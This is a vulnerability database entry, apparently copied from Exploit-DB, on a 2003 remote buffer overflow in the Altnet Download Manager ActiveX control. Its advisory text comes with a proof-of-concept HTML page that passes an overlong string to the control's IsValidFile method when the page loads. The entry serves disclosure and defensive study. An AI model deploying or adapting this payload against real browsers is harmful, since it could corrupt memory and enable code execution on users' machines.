Altnet Remote Buffer Overflow Vulnerability

vendor:

Download Manager

by:

SecurityFocus

7.5

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: Download Manager

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2003

Altnet Remote Buffer Overflow Vulnerability

Altnet is reported prone to a remote buffer overflow vulnerability. This issue presents itself in an ActiveX control installed by the application. Reportedly, a malicious attacker can exploit this issue to execute arbitrary code.

Mitigation:

No known mitigation or remediation for this vulnerability

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/11101/info

Altnet is reported prone to a remote buffer overflow vulnerability. This issue presents itself in an ActiveX control installed by the application. Reportedly, a malicious attacker can exploit this issue to execute arbitrary code.

<HTML>
<HEAD>
This overrun occurs in \program files\Altnet\Download Manager\adm.exe
This executable is installed along with Kazaa and Grokster.
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT type=text/javascript>

function init()
{
var foo = "";
for(var icount = 0; icount < 1; icount++)
{
foo = foo +
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaxxxx";
}

var ngssoftware;
ngssoftware = new ActiveXObject("ADM.ADM.1");

ngssoftware["IsValidFile"](foo);
}
//-->
</SCRIPT>

</HEAD>
<BODY bgColor=#ffffff onload=init()>
</BODY></HTML>